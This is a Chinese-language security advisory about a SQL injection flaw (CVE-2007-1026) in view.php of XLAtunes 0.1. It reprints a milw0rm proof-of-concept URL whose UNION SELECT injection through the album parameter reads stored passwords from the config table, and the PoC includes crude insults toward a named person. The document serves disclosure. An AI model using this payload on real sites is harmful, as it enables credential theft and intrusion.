发布日期：2007-02-17
更新日期：2007-02-17

受影响系统：

XLAtunes XLAtunes 0.1

描述：

---

BUGTRAQ  ID: 22602
CVE(CAN) ID: CVE-2007-1026

XLAtunes是专辑列表脚本、应用。

XLAtunes 0.1版本的view.php在实现上存在SQL注入漏洞，远程攻击者通过view模式内的album参数，利用此漏洞可执行任意SQL命令。

<*来源：Bl0od3r
  
  链接：http://xforce.iss.net/xforce/xfdb/32556
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#Critical Status:High
#Found By:Bl0od3r
#Download:http://www.scriptdungeon.com/script.php?ScriptID=2844
#Greetz:all my friends
#fuckz:Don(h4cky0u) for steeling hacks of others,for his 100% noobility,for his noobass.DON your an idiot.fucka. -
#confkey->Password
#confvalue->Username
#Table:config
#http://host.com/path/?mode=view&album=-1%20UNION%20SELECT%20confkey%20FROM%20config/*

# milw0rm.com [2007-02-17]

建议：

---

厂商补丁：

XLAtunes
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.scriptdungeon.com/script.php?ScriptID=2844

浏览次数：2875
严重程度：0（网友投票）